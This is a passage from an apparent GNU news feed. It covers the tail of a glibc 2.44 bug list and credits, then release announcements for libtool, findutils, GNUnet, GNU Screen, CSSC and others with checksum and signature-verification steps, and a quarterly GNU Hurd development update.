[34208] stdio: scanf not pushback after matching failure
[34210] libc: elf/tst-glibc-hwcaps-prepend-cache fails on
    armv7a-unknown-linux-gnueabihf
[34236] locale: Non-representable transliteration still causes iconv
    to exit with 1 if TRANSLIT is specified
[34289] network: ns_sprintrrf uses p_class, p_type internally
[34311] build: THP tests failed to link
[34347] libc: Incorrect trailing bitfield word of struct tcp_info
[34348] dynamic-link: FAIL: elf/tst-thp-1 if THP is disabled in kernel
[34351] build: Random test failures
[34355] build: [2.44 Regression] "make check -j7 subdirs=stdio-common"
    no longer works
[34396] libc: sparc64-unknown-linux-gnu , Gentoo: >200 test failures,
    SIGILL in many binaries
[34398] string: Truncated strncpy on s390x z900 ifunc variant

Release Notes
=============

https://sourcewar ... wiki/Release/2.44

Contributors
============

This release was made possible by the contributions of many people.
The maintainers are grateful to everyone who has contributed
changes or bug reports. These include:

Adam Yi
Adhemerval Zanella
Alejandro Colomar
Andreas K. Hüttel
Andreas Schwab
Arjun Shankar
Aurelien Jarno
Avinal Kumar
Brian Jorgensen
Carlos O'Donell
Carlos Peón Costa
Charlotte Mcmenamin
Collin Funk
Cosmina Dunca
DJ Delorie
Daan De Meyer
Deng Jianbo
Dev Jain
Diego Nieto Cid
Dmitry Kovalenko
Dylan Fleming
Etienne Brateau
Fabian Rast
Florian Weimer
Frédéric Bérat
Garccez
George Hu
H.J. Lu
Jakub Jelinek
Jiamei Xie
Jiho Lee
Jiri Stransky
John David Anglin
Jonathan Wakely
Josef Johansson
Joseph Myers
Justus Winter
Luca Boccassi
Lucas Chollet
Martin Coufal
Matt Turner
Michael Ford
Michael Jeanson
Michael Kelly
Mike FABIAN
Mike Kelly
Muhammad Kamran
Nicolas Boulenguez
Paul Eggert
Peter Bergner
Peter Collingbourne
Petr Menšík
Pierre Blanchard
Pino Toscano
Pádraig Brady
Richard Wild
Rocket Ma
RyotaSaito
Sachin Monga
Sajan Karumanchi
Sam James
Samuel Balazi
Samuel Thibault
Sana Kazi
Sergey Kolosov
Shamil Abdulaev
Shengwen Cheng
Siddhesh Poyarekar
Stefan Liebler
Thomas Daubney
Tomasz Kamiński
Uros Bizjak
WANG Rui
Weihong Ye
Weixie Cui
Wilco Dijkstra
Xi Ruoyao
Xiang Gao
Yao Zihong
Yunze Zhu
Yury Khrustalev
Zihong Yao
mengqinggang
xiejiamei
zombie12138

We would like to call out the following and thank them for their
tireless patch review:

Adhemerval Zanella
Andreas K. Hüttel
Arjun Shankar
Aurelien Jarno
caiyinyu
Carlos O'Donell
Collin Funk
DJ Delorie
Florian Weimer
Frédéric Bérat
Ganesh Gopalasubramanian
H.J. Lu
JiangNing
Mathieu Desnoyers
Paul Eggert
Paul Zimmermann
Peter Bergner
Sam James
Samuel Thibault
Siddhesh Poyarekar
Stefan Liebler
Sunil K Pandey
Wilco Dijkstra
Yury Khrustalev

GNU Health en la facultad de Ciencias Sociales de la Universidad de Buenos Aires

2026-07-23T12:41:27+00:00

Los próximos días 5, 6 y 7 de agosto tendrán lugar las XVII Jornadas Nacionales de Debate Interdisciplinario en Salud y Población “Investigar e intervenir en salud en tiempos de negacionismos y retrocesos”, organizadas por el Área de Salud y Población del Instituto de Investigaciones Gino Germani de la Facultad de Ciencias Sociales de la Universidad de Buenos Aires (UBA).

Luis Falcón (GNU Solidario) junto al Dr. Fernando Sassetti (UNER) presentarán en la sección "Desigualdades Sociales de la Salud", con el título "Software Libre como modelo de equidad, privacidad, soberanía tecnológica y sostenibilidad en salud. El caso de GNU Health".

Para la comunidad de GNU Health es un privilegio y un honor ser parte de este tan importante evento que lucha por la dignidad del individuo y de la comunidad, por un sistema sanitario público, de calidad y universal. Un sistema y un derecho hoy seriamente comprometido y amenazado por las grandes corporaciones financieras y tecnológicas.

Haciendo alusión al título de las jornadas, la comunidad GNU y la filosofía del Software Libre representan el faro moral para Investigar e intervenir en salud en tiempos de negacionismos y retrocesos.

¡Nos vemos en Buenos Aires!

osip2 [5.3.2]

2026-07-22T23:17:40+00:00

A new security release was published today! A minor Out-of-bounds Read was discovered. And fixed!

No confidential impact is possible.
A very low risk of crash is possible.

Enjoy & update!
Aymeric

GNU Parallel 20260722 ('Chat Control') released [stable]

2026-07-21T14:39:00+00:00

GNU Parallel 20260722 ('Chat Control') has been released. It is available for download at: lbry://@GnuParallel:4

Quote of the month:

gnu parallelすごい！！！
-- たらたら@nosennyuu@twitter

New in this release:

Bug fixes and man page updates.

About GNU Parallel

Give a demo at your local user group/team/colleagues
Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
Get the merchandise https://gnuparall ... igns/gnu-parallel
Request or write a review for your favourite blog or magazine
Request or build a package for your favourite distribution (if it is not already there)
Invite me for your next conference

If you use programs that use GNU Parallel for research:

Please cite GNU Parallel in you publications (use --citation)

If GNU Parallel saves you money:

(Have your company) donate to FSF https://my.f ... .org/donate/

About GNU SQL

About GNU Niceload

libgnunetchat 0.8.0

2026-07-17T22:00:00+00:00

libgnunetchat 0.8.0 released

We are pleased to announce the release of libgnunetchat 0.8.0.
This is a minor new release bringing compatibility with the major changes in latest GNUnet release 0.28.0. Some minor issues in the API got fixed. Additionally the library was updated to make use of the newer PILS service and an additional layer of encryption for shared files got removed. It is intended to rely on the encryption layer of the FS service in GNUnet for that in the future to reduce overall complexity.

Older releases of the applications using libgnunetchat stay compatible with this release.

Download links

The GPG key used to sign is: 3D11063C10F98D14BD24D1470B0998EF86F59B6A

Note that due to mirror synchronization, not all links may be functional early after the release. For direct access try http://ftp.gnu.org/gnu/gnunet/

Noteworthy changes in 0.8.0

Remove additional file encryption layer besides FS implicit layer
Fix issue creating duplicate contexts/chats for individual contacts

A detailed list of changes can be found in the ChangeLog .

GNUnet 0.28.0

2026-07-16T22:00:00+00:00

GNUnet 0.28.0 released

We are pleased to announce the release of GNUnet 0.28.0.
GNUnet is an alternative network stack for building secure, decentralized and privacy-preserving distributed applications. Our goal is to replace the old insecure Internet protocol stack. Starting from an application for secure publication of files, it has grown to include all kinds of basic protocol components and applications towards the creation of a GNU internet.

This is a new major release. Major versions may break protocol compatibility with the 0.27.X versions. Please be aware that Git master is thus henceforth (and has been for a while) INCOMPATIBLE with the 0.27.X GNUnet network, and interactions between old and new peers will result in issues. In terms of usability, users should be aware that there are still a number of known open issues in particular with respect to ease of use, but also some critical privacy issues especially for mobile users. Also, the nascent network is tiny and thus unlikely to provide good anonymity or extensive amounts of interesting information. As a result, the 0.28.0 release is still only suitable for early adopters with some reasonable pain tolerance .

Download links

gnunet-0.28.0.tar.gz ( signature )

The GPG key used to sign is: 3D11063C10F98D14BD24D1470B0998EF86F59B6A

Note that due to mirror synchronization, not all links might be functional early after the release. For direct access try http://ftp.gnu.org/gnu/gnunet/

Changes

A detailed list of changes can be found in the git log, the NEWS.

Known Issues

There are known major issues with the TRANSPORT subsystem.
There are known moderate implementation limitations in CADET that negatively impact performance.
There are known moderate design issues in FS that also impact usability and performance.
There are minor implementation limitations in SET that create unnecessary attack surface for availability.
The RPS subsystem remains experimental.

In addition to this list, you may also want to consult our bug tracker at bugs.gnunet.org which lists about 190 more specific issues.

Thanks

This release was the work of many people. The following people contributed code and were thus easily identified: Christian Grothoff, Florian Dold, TheJackiMonster, and Martin Schanzenbach.

libtool-2.6.2 released [stable]

2026-07-16T16:47:44+00:00

Libtoolers!

The Libtool Team is pleased to announce the release of libtool 2.6.2.

GNU Libtool hides the complexity of using shared libraries behind a
consistent, portable interface. GNU Libtool ships with GNU libltdl, which
hides the complexity of loading dynamic runtime libraries (modules)
behind a consistent, portable interface.

See the NEWS below for a brief summary.

Thanks to everyone who has contributed!
The following people contributed changes to this release:

libtool 2.6.2 [stable]:
Ileana Dumitrescu (4)

libtool 2.6.1 [beta]:
Alexandre Janniaux (4)
Alexey Samsonov (1)
Anthony Mallet (1)
Arnold (1)
Dima Pasechnik (1)
Frederic Berat (1)
Ileana Dumitrescu (15)
KO Myung-Hun (4)
Kirill Makurin (1)
Mintsuki (1)
Nicolas Boulenguez (1)
Olly Betts (1)
Patrice Dumas (1)
Richard J. Mathar (1)

libtool 2.6.0 [alpha]:
Anthony Mallet (1)
Bruno Haible (2)
Christian Feld (1)
Collin Funk (1)
Elizabeth Figura (1)
Evgeny Grin (1)
Frédéric Bérat (1)
Gleb Popov (1)
Ileana Dumitrescu (47)
Julien ÉLIE (1)
Karl Berry (1)
Kirill Makurin (1)
Manoj Gupta (1)
Martin Storsjö (1)
Michael Haubenwallner (2)
Mintsuki (1)
Mitch (1)
Pierre Ossman (2)
Takashi Yano (1)

Ileana
[on behalf of the libtool maintainers]
==================================================================

Here is the GNU libtool home page:
    https://gnu. ... g/s/libtool/

Here are the compressed sources:
https://ftpmirror ... tool-2.6.2.tar.gz   (2.1MB)
https://ftpmirror ... tool-2.6.2.tar.xz   (1.1MB)

Here are the GPG detached signatures:
https://ftpmirror ... -2.6.2.tar.gz.sig
https://ftpmirror ... -2.6.2.tar.xz.sig

Use a mirror for higher download bandwidth:
https://www.gnu.o ... rg/order/ftp.html

Here are the SHA256 and SHA3-256 checksums:

File: libtool-2.6.2.tar.gz
SHA256 sum:   24adb3aa9ae035c70faba344af57d73215eb89281045af6c7ccd307751f8b0bf
SHA3-256 sum: b0e77c0dc9a082830c95d182da77747d1f5435a06132feefd5054bfde2c9da81

File: libtool-2.6.2.tar.xz
SHA256 sum:   2ef1067c16c97db930fd740cc9bc3d3ba9a583804ae5ac42cc3e8719e49e191e
SHA3-256 sum: c24b9995af8391a310a258dcb98897f92d86f47acca235f3d2859ca0ed1d9dd0

Verify the SHA256 checksum with either sha256sum, sha256, or
'shasum -a 256'.

Verify the SHA3-256 checksum with 'cksum -a sha3 -l 256 --base64'
from coreutils-9.8.

Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:

gpg --verify libtool-2.6.2.tar.gz.sig

The signature should match the fingerprint of the following key:

pub   rsa4096 2021-09-23 [SC]
        FA26 CA78 4BE1 8892 7F22 B99F 6570 EA01 146F 7354
uid   Ileana Dumitrescu <ileanadumitrescu95@gmail.com>
uid   Ileana Dumitrescu <ileanadumi95@protonmail.com>

If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.

gpg --locate-external-key ileanadumitrescu95@gmail.com

gpg --recv-keys 6570EA01146F7354

wget -q -O- 'https://savannah. ... ol&download=1' | gpg --import -

As a last resort to find the key, you can try the official GNU
keyring:

wget -q https://ftp.gnu.o ... u/gnu-keyring.gpg
gpg --keyring gnu-keyring.gpg --verify libtool-2.6.2.tar.gz.sig

This release is based on the libtool git repository, available as

git clone https://https.git ... g/git/libtool.git

with commit 309bb53a8adfb22c6e5869cc8da049bf123e5438 tagged as v2.6.2.

For a summary of changes and contributors, see:

https://gitweb.gi ... shortlog;h=v2.6.2

or run this command from a git-cloned libtool directory:

git shortlog v2.6.1..v2.6.2

This release was bootstrapped with the following tools:
Autoconf 2.73
Automake 1.18.1
Gnulib 2026-07-03 491f1bb7d3049f3ab7825f3ee665c209658e9965

NEWS

Noteworthy changes in release 2.6.2 (2026-07-16) [stable]

Please see beta release 2.6.1 and alpha release 2.6.0 for a list of
release changes.

Noteworthy changes in release 2.6.1 (2026-06-04) [beta]

** New features:

- Pass 'resource-dir=*' flag for Clang.

- Recognise explicit shared library arguments when linking dependency
    libraries to a shared library, like exists when linking a program.

- Support OpenMP with macOS clang by processing '-Xpreprocessor
    -fopenmp' as one token.

** Bug fixes:

- Store cygpath file path conversions correctly for MSYS2 and MSVC.

- Fix syntax error in LT_PROG_OBJC and LT_PROG_OBJCXX.

- Separate Objective C and C++ cache check for proper tagging support.

- Fix in darwin to support values with spaces.

- Limit the length of DLL name to 8.3 correctly to avoid corrupting a
    generated DLL on OS/2.

- Remove unused variable on OS/2, which could cause issues with static
    library generation if defined.

- Recognise more static linking options for Clang.

- Fix emscripten CXX postdeps using non-PIC sysroot.

- Avoid deprecated option '-o' with MSVC compilers and replace with '-Fe'.

- Avoid overlinking of dependency libraries on ELF systems.

- Ensure old libraries are not archived.

** Changes in supported systems or compilers:

- Add support for SlimCC compiler.

- Add support for *-ironclad-gnu.

Noteworthy changes in release 2.6.0 (2025-09-18) [alpha]

** New features:

- Add a new tool, libtool-next-version, to guide users through updating
    library versions.

- Add tagging for Objective-C and Objective-C++, OBJC and OBJCXX.

- Increase 5 digit limit on revision value for libraries to 19 digits,
    which is referencing Unix epoch time in nanoseconds.

- Add configuration options to choose whether to use '-nostdlib' to let
    the compiler frontend decide what standard libraries to link when
    building C++ shared libraries and modules, --enable-cxx-stdlib and
    --disable-cxx-stdlib.

- Allow statically linking GCC and Clang compiler support libraries
    into shared libraries.

- Add linking clang_rt static archives compiler internal libraries by
    their absolute path.

- Set 'mklink' as the symlinking tool for MSVC.

- Pass '--target' architecture flag for Clang.

- Support MSYS and MSYS2 file path conversions.

** Bug fixes:

- Fix wrongly deduplicated compiler dependencies on linux.

- Fix NetBSD postdeps for shared libraries.

- Fix statically linking dependencies into shared C++ libraries when
    utilizing clang builtins or g++ options like, -static-libstdc++, by
    using a new configuration option, --enable-cxx-stdlib.

- Ensure *-linux-mlibc host matches to mlibc userland rather than
    matching to GNU/Linux and similar userlands.

- Fix hang with cmd.exe in MSYS.

- For MSVC, fix mishandling compiler flags, symlinking, cl.exe '.exp'
    extension collision, symbol names, and numerous testsuite bugs.

- Fix undeclared reference to access on Windows in libltdl.

- Fix flang -Wl flags on FreeBSD.

- Fix reordering '--as-needed' flag.

- Fix libltdl early failures for multi-arch.

** Changes in supported systems or compilers:

- Support additional Intel OneAPI compilers, 'icx', 'icpx', and 'ifx'.

- Support ML64 (Microsoft Macro Assembler).

Enjoy!

Taler lecture at Cedarcrypt 2026

2026-07-15T22:00:00+00:00

by Özgür Kesim

GNU Screen v.5.0.2 is released

2026-07-12T22:36:01+00:00

Hi everyone,
I'm glad to announce the new release of GNU screen.

Screen is a full-screen window manager that multiplexes a physical terminal between several processes, typically interactive shells.

The 5.0.2 release includes the following changes to the previous release 5.0.1:

Add %* escape to output caret character literal ("^")
Add portable PAM conversation callback prototype (for Solaris)
Fixes:

- type on big-endian systems
- UTF-8 combining sequences
- buffer overflow in SendCmdMessage()
- detaching fail with empty terminfo and leave the session attached
- eliminates the TOCTOU race
- manpage fixes

Release (official tarball) will be available soon for download:
https://ftp.gn ... rg/gnu/screen/
Please report any bugs or regressions.
Thanks to everyone who contributed to this release.

Cheers,
Alex

GNU findutils 4.11.0 released

2026-07-11T09:52:44+00:00

This is to announce findutils-4.11.0, a stable release.

This release follows the recent POSIX (IEEE Std 1003.1-2024) changes,
especially to mention the new behavior of 'find -mount' vs. 'find -xdev',
as well as a lot of documentation improvements.

See the NEWS below for more details.

GNU findutils is a set of software tools for finding files that match
certain criteria and for performing various operations on them.
Findutils includes the programs "find", "xargs" and "locate".
More information about findutils is available at:
     https://www.gnu.o ... ftware/findutils/

Please report bugs and problems with this release via the the
GNU Savannah bug tracker:
     https://savannah. ... /?group=findutils

Please send general comments and feedback about the GNU findutils
package to the mailing list (<mailto:bug-findutils@gnu.org):
     https://lists.gnu ... nfo/bug-findutils

There have been 186 commits by 10 people in the - sigh - 25 months since 4.10.0:
     Bernhard Voelker (77)         Bjarni Ingi Gislason (1)
     Christoph Anton Mitterer (1) Collin Funk (5)
     Dave (1)                      G. Branden Robinson (42)
     James Youngman (55)           Luk303241305241 Zaoral (1)
     danny mcClanahan (1)          raf (2)

This release was bootstrapped with the following tools:
      Autoconf 2.72
      Automake 1.17
      M4 1.4.19
      Gnulib v1.0-3131-ga575239e47

Please consider supporting the Free Software Foundation in its fund
raising appeal; see <https://www. ... .org/appeal/>.

Thanks to everyone who has contributed!

Have a nice day,
Bernhard Voelker & James Youngman [on behalf of the GNU findutils maintainers]

================================================================================

Here are the compressed sources:
     https://ftp.gnu.o ... ils-4.11.0.tar.xz

Here are the GPG detached signatures[*]:
     https://ftp.gnu.o ... 4.11.0.tar.xz.sig

Use a mirror for higher download bandwidth:
     http://www.gnu. ... /order/ftp.html

Here is the SHA256 checksum:

     bfd19cb06cc71f3352d567e90284d8cdac02ac89774bbeadf0b533b0c11432fd findutils-4.11.0.tar.xz

[*] Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:

gpg --verify findutils-4.11.0.tar.xz.sig

If that command fails because you don't have the required public key,
then run this command to import it:

gpg --keyserver keys.gnupg.net --recv-keys 0CF4E8D871593224842832B888DD9E08C5DDACB9

and rerun the 'gpg --verify' command.

================================================================================

NEWS

Noteworthy changes in release 4.11.0 (2026-07-11) [stable]

** Bug Fixes

   find no longer crashes when diagnosing a directory cycle (without a symlink
   being involved pointing to a parent directory).
   [Bug present since the FTS implementation.]

   'find -used' now behaves correctly on OpenBSD 7.8 with difftime(3) underflow
   bug in the C library (already fixed there) when the access time of a file is
   identical to its change time. [#68264]

   'find -ignore_readdir_race' now better handles races between FTS reading a
   directory and visiting its entries when the file or directory was meanwhile
   removed. [#45930]

   To fix a POSIX compatibility bug, -exec foo Z{} + is no longer a
   complete predicate, because '+' is only a terminator when it follows
   an argument which is exactly '{}'. The findutils documentation
   already states this, and now find's behaviour matches the
   documentation. [#66365]

   'updatedb.sh' now properly handles the variables for the 'find' and 'frcode'
   utilities, and hence avoids command injection.

** Changes in find

   As announced since the release of 4.7.0 (2019) and mandated by POSIX 2024,
   the behaviour of the -mount option changed: while it was a mere alias for
   the -xdev option to prevent descending into directories of another device,
   the -mount option now makes find(1) ignore files on another device, i.e.,
   'find -mount' will skip the entry of active mount points already.
   Example, assuming the PROC filesystem is mounted on '/proc':
     $ find / -mount -path /proc -print
     $ find / -xdev -path /proc -print
     /proc
   [#54745]

   The actions -execdir and -okdir now refuse the '{}' replacement in the zeroth
   argument of the command to be run. While POSIX allows this for -exec, this is
   deemed insecure as an attacker could influence which files could be found.

   'find -regex' with the default or the 'emacs' regextype now aligns better with
   Emacs behaviour, and therefore e.g. supports character classes:
     $ touch 123 && find -regex './12[[:digit:]]'
     ./123

   find now issues a warning when the punctuation operators '(', ')', '!' and ','
   are passed with a leading dash, e.g. '-!'. Future releases will not accept
   that any more. Accepting that was rather a bug "since the beginning".

** Improvements

   xargs now gives a better error diagnostic when executing the given command
   failed.

** Documentation Changes

   The most recent version of the POSIX standard (IEEE Std 1003.1-2024,
   also known as The Open Group Base Specifications, Issue 8) has
   standardised "find -print0" and "xargs -0". Our documentation now
   points this out. Similarly for 'find -iname'.

   The code example for "Finding the Shallowest Instance" in the Texinfo manual
   and the corresponding one in the EXAMPLES section in the find.1 man page have
   been fixed. [#62259]

   Translators contributed numerous fixes for issues in the find.1 man page.

   The list of actions that suppress the default -print action has been
   supplemented with the missing '-print0' and '-fprint0' actions.

   The manual pages have been updated to give better and/or more
   consistent output with manpage formatters other than GNU roff.

** Translations

   Updated the following translations:
   Arabic, Brazilian Portuguese, Bulgarian, Chinese (simplified), Croatian,
   Czech, Dutch, Estonian, French, German, Indonesian, Korean, Polish,
   Portuguese, Romanian, Spanish, Swedish, Ukrainian.

** Future Changes

   A future release will remove the warning message find prints about
   the 2007 change in the meaning of "-perm /000". Everybody who is
   likely to care probably knows about this change by now.

-eof-

CSSC-1.5.0 released

2026-07-05T21:38:38+00:00

This is to announce CSSC-1.5.0, a beta release.

There have been 424 commits by 2 people since 1.4.1.   Thanks to Greg A. Woods for helping to improve CSSC.

See the NEWS below for a brief summary.

===============================================================

Here is the GNU CSSC home page:
    https://gn ... rg/s/CSSC/

Here are the compressed sources and a GPG detached signature:
https://alpha.gnu ... CSSC-1.5.0.tar.gz
https://alpha.gnu ... -1.5.0.tar.gz.sig

Use a mirror for higher download bandwidth:
https://www.gnu.o ... rg/order/ftp.html

Here are the SHA256 and SHA3-256 checksums:

File: CSSC-1.5.0.tar.gz
SHA256 sum:   8483a31aac756955843ef574bed6fa9e052ea492217f3882033487d2704c6cf4
SHA3-256 sum: c138c32cab373a51c32d2049064532ac24a6fa777b7edecabe4d605460018845

Verify the SHA256 checksum with either sha256sum, sha256, or
'shasum -a 256'.

Verify the SHA3-256 checksum with 'cksum -a sha3 -l 256 --base64'
from coreutils-9.8.

Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:

gpg --verify CSSC-1.5.0.tar.gz.sig

The signature should match the fingerprint of the following key:

pub   rsa4096 2015-12-24 [SC]
        0CF4 E8D8 7159 3224 8428 32B8 88DD 9E08 C5DD ACB9
uid   James Youngman <james@youngman.org>
uid   James Youngman <jay@gnu.org>

If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.

gpg --locate-external-key james@youngman.org

gpg --recv-keys 88DD9E08C5DDACB9

wget -q -O- 'https://savannah. ... SC&download=1'
| gpg --import -

As a last resort to find the key, you can try the official GNU
keyring:

wget -q https://ftp.gnu.o ... u/gnu-keyring.gpg
gpg --keyring gnu-keyring.gpg --verify CSSC-1.5.0.tar.gz.sig

This release is based on the CSSC git repository, available as

git clone https://https.git ... .org/git/CSSC.git

with commit 77bdce39a09b9ff37831c4dd1cb0d4dd5967cb39 tagged as v1.5.0.

For a summary of changes and contributors, see:

https://gitweb.gi ... shortlog;h=v1.5.0

or run this command from a git-cloned CSSC directory:

git shortlog CSSC-1.4.1..v1.5.0

This release was bootstrapped with the following tools:
Autoconf 2.72
Automake 1.17
Gnulib 2026-06-08 88592a2880cf39a2f597cd0294a90d8dd7faa2df

NEWS

Noteworthy changes in release 1.5.0 (2026-07-05) [beta]

* The test suite no longer depends on Python, so it should
work on older systems that have no Python 3 interpreter. While you can
build and test CSSC without Python, you do need a Python interpreter
to do some maintenance tasks (such as importing the "gnulib" code into
a git checkout).

* Tolerate SCCS files in which file flags lack the space
separator which would normally come between the flag letter and the
associated value.

Noteworthy changes in release 1.5.0-rc3 (2026-06-14)

        * Some typos in error message have been fixed.

        * admin now supports combination of -r with -n as well as the
          portable combination of -r with -i.

        * Support "sccs sact"; the sact program already existed but
could not previously be invoked via the sccs wrapper. Thanks to Greg
A. Woods for this improvement.

        * In some places we now prefer "grep -E" to "egrep" in order
to avoid a warning message from GNU grep. Some very old versions of
Unix may not support this option.

        * Various C++ portability improvements.

        * Updated version of gnulib.

        * Updated version of googletest; this is now at the last
version at which it still supported building with Automake.

Noteworthy changes in release 1.5.0-rc2 (2024-05-13)

        * This release is more careful to detect I/O failures when
writing to stdout in prs and prt.

        * This release should build on more modern platforms.

        * The --with-googletest configure option is removed (now we
always use it).

        * Updated versions of gnulib and googletest.

2026-q2

2026-07-03T20:32:51+00:00

Hello and welcome to another Qoth! Here's what's been happening in Q2 of 2026!

Joshua Branson added a pretty cool svg logo for our ethernet multiplexor. He built that image with Inkscape whilst using a Hurd laptop (Thinkpad 420) running on real iron! The Hurd wiki could certainly use more artwork. Perhaps you have a favorite Hurd translator that you believes needs some artwork!

Sergey Bugaev announced his WIP 9pfs (source code), and it has a wiki page! He writes:

Some years ago, I experimented with implementing a 9P translator for
the Hurd. Hopefully there is no need to tell this list what 9P is :)

Besides just browsing files on the few existing servers out there, a
potential use case is virtio-9p, to enable shared directory trees
between VMs and the host. But that would need someone to implement
virtio support in the Hurd.

I wanted to complete 9pfs before publishing, but that ultimately
didn't happen, so now it's time to turn it over to the community. I
now went and made the repository public on GitHub:
https://github.com/bugaevc/9pfs

What's implemented is basic browsing (readdir, stat), path resolution
(dir_lookup), and reading files (io_read). And below that, the whole
tracking for nodes, peropens, protids, fids, tags, and 9p RPCs.

Improvements are welcome, send patches to this list with [PATCH 9pfs]
in the subject. A good starting point would be to continue porting
things that I had implemented in the old netfs-based version (see
netfs.c) but didn't yet port to the new one.

He then got a little more motivated, and he added some write support!

Etienne Brateau added validation to msync, so that the Hurd better follows POSIX.

Diego Nieto Cid worked on allowing privileged users to set their task priority (nice value). His patches landed in glibc and GNU Mach. He also fixed a tiny bug in our test suite. He fixed an adjtime bug, which is helpful to the OpenNTPD port, and he fixed two more bugs.

Paulo Duarte sent a RFC patch series trying to commit Sergey’s previous AArch64 work. He writes:

This series adds the gnumach kernel-side implementation for the
aarch64 ABI Sergey landed in April 2024, plus the test-suite arms.
Patch 01 brings in the aarch64-only sources from bugaevc/wip-aarch64
verbatim, with Sergey as Author; the rest is mine.

The meaningful divergence from wip-aarch64 is what I left out:
roughly 150 files of cross-arch refactoring across kern/, ipc/, vm/,
device/intr.{c,h}, and the i386 tree. Each got replaced with a
smaller per-arch shim under aarch64/ so kern/bootstrap.c,
device/intr.{c,h}, kern/lock.h, and the i386 trees all stay
bit-identical to current master. The shared-file footprint outside
aarch64/ is four files: a new ELF constant, two missing decls plus
their include, and a linker-symbol filter extension...

Tested: 12/12 pass on x86_64, i686, and aarch64 under qemu. No
bare-metal validation yet. I plan to build bootable images and boot
the kernel on Apple M1 / Raspberry Pi (aarch64) and an x86_64 box
(x86_64 + i686). Help on any of these welcome.

He also fixed a tiny cross compilation issue.

gfleury fixed some tmpfs typos. He also fixed a kernel crash on a null pointer deference.

Almudena Garcia is developing a WIP trivfs implementation in rust. The work is not complete yet, but it is possible to write Hurd translators in Rust!

Mikhail Karpov added some checks for mmap in several places. He also worked on adding storeio to the bootstrap chain. This is actually quite interesting. Currently the Hurd sets device entries in /dev/ statically. For example, I am writing this qoth on a Hurd machine that is using two /dev/ entries for my filesystem: /dev/wd0s1 for swap and /dev/wd0s5 for my root filesystem. However, /dev/wd0s1 through /dev/wd0s16 exist on my computer! Once Mikhail's project is done, then the Hurd will dynamically populate SATA devices at boot time! No more need for static translators! He writes:

I've expanded the functionality of the partfs translator to work
with multiple disks and their partitions. Thus, by running the
command:
settrans -c partfs /hurd/partfs /root/disk1.img /root/disk2.img /root/disk3.img


The translator directory will have the following directory tree:
partfs
├── 0
│ ├── 1
│ ├── 2
│ └── ...
├── 1
│ ├── 1
│ ├── 2
│ └── ...
├── 2
│ ├── 1
│ ├── 2
│ └── ...
Since the disks are directories, the cd and ls commands work in the translator node.

I also tested mounting, reading, and writing using the commands:
`settrans -c ext01 /hurd/ext2fs -w -T typed file:/root/partfs/0/1`
and
`settrans -c ext1_1 /hurd/ext2fs -w -T typed part:1:file:/root/partfs/1`

It actually is even cooler! Samuel (our fearless leader) is seeking feedback for how to name these newer /dev entries. Samuel writes:

One thing that would be really needed for efficiency is to implement
netfs_file_get_storage_info, so that libstore would be able to get the
underlying storage information, and directly get data from there rather
than partfs having to pass data with io_read/write.

I'm then wondering how this would fit in the "grand scheme". Our current
approach, /dev/hd0s* being always there, is indeed not really good
because it doesn't easily tell the user which partitions are actually
there. We used to have to have this because partitions used to be
handled by the kernel, and then we have moved to
storerio+parted-supported partitions, which brings much more
flexibility.

Perhaps we could use

settrans -c /dev/hd0s /hurd/partfs /dev/hd0

and then we'd have /dev/hd0s/1, which is almost like before, but allows
the entries to be dynamic. Actually, we could even have some

settrans -c /dev/hd /hurd/probedisk hd

and then we'd have /dev/hd/0, and we could have /dev/hd/0s being partfs,
so we'd eventually have

/dev/hd/0s/1

But I'm also thinking that perhaps it could be integrated more with
storeio, i.e. /dev/hd0 can as well also act as a directory with partfs
behavior, so you could have

/dev/hd0/1

and with the probedisk translator, you could have

/dev/hd/0/1

What do people think about it?

Mike Kelly has been hard at work porting OpenBSD’s OpenNTPD, which required some glibc work. The Hurd doesn't currently have a NTP daemon, so thanks Mike!

He also debugged a weird memory error with rump, and he provided a "brown-tape" solution for it. Hopefully, he (or you dear reader), can reach out to the NetBSD people to fix this bug. This just goes to show that when two projects use the same code, both projects benefit!

He also got a glibc patch committed. Essentially SIGSTOP/SIGCONT was duplicating portions of files, which is now fixed. However, there are still some other issues with building some haskell packages.

Joan Lledó continued his work on porting dhcpcd. Also Roy Maples, the dhcpcd maintainer did a lot of helpful work to help us out. Thanks Roy!

Bradley Morgan fixed a tiny implementation bug with cat. He also tweaked procfs to show hidden files, and he allowed passing “-s” to init. Previously, passing "-s" to init was silently ignored.

Johannes Schauer Marin Rodrigues has been working on getting s-build to run on amd64 Hurd. It is a rather long email thread, so grab some popcorn and dig in!

Milos Nikic ported Neovim. He also worked on bug fixes to libdiskfs, and he fixed a deadlock bug in the “ext3/ext4” filesystem journal.

In the last qoth we had talked about how the Milos was working on adding an ext3/ext4 binary compatible journal. Samuel has committed it! Samuel wrote:

There is a couple things that I fixed on the fly:

- We want to use pthread_cond_clockwait rather than
  pthread_cond_timedwait, to be able to use CLOCK_MONOTONIC instead of
  CLOCK_REALTIME, to avoid being hit by ntpdate and such.

- In diskfs_S_dir_rename, there was an addition of:

  pthread_mutex_unlock (&fnp->lock);

  which was clearly bogus: we were unlocking it again below.

There are a couple things that we'd want to fix now:

- when calling diskfs_file_update, don't we have to be inside a
  transaction? Otherwise if we pass wait=1 and use a journal, we won't
  be waiting AIUI? Notably, in diskfs_S_dir_rmdir we don't use a
  transaction. And ideally we'd have an assertion that makes sure we
  respect this.

- we should define some helper for this recurring pattern:

  if ((docommit) && (diskfs_synchronous || diskfs_journal_needs_sync (txn)))
    diskfs_journal_commit_transaction (txn);
  else
    diskfs_journal_stop_transaction (txn);

- journal_drain_deferred_blocks should document what it does, not just
  its call conditions :), and more generally the functions that are
  not already documented in a .h and not just a _locked variant of a
  documented function.

Leonardo Lopes Pereira did some spring cleaning to remove some dead code.

Samuel Thibault mentioned in an email that the Hurd can support nvmes with rump, but that the work was just not done yet. Perhaps you, dear reader, would like to help us accomplish this task?

The mysterious user yelini worked on porting the D language compiler.

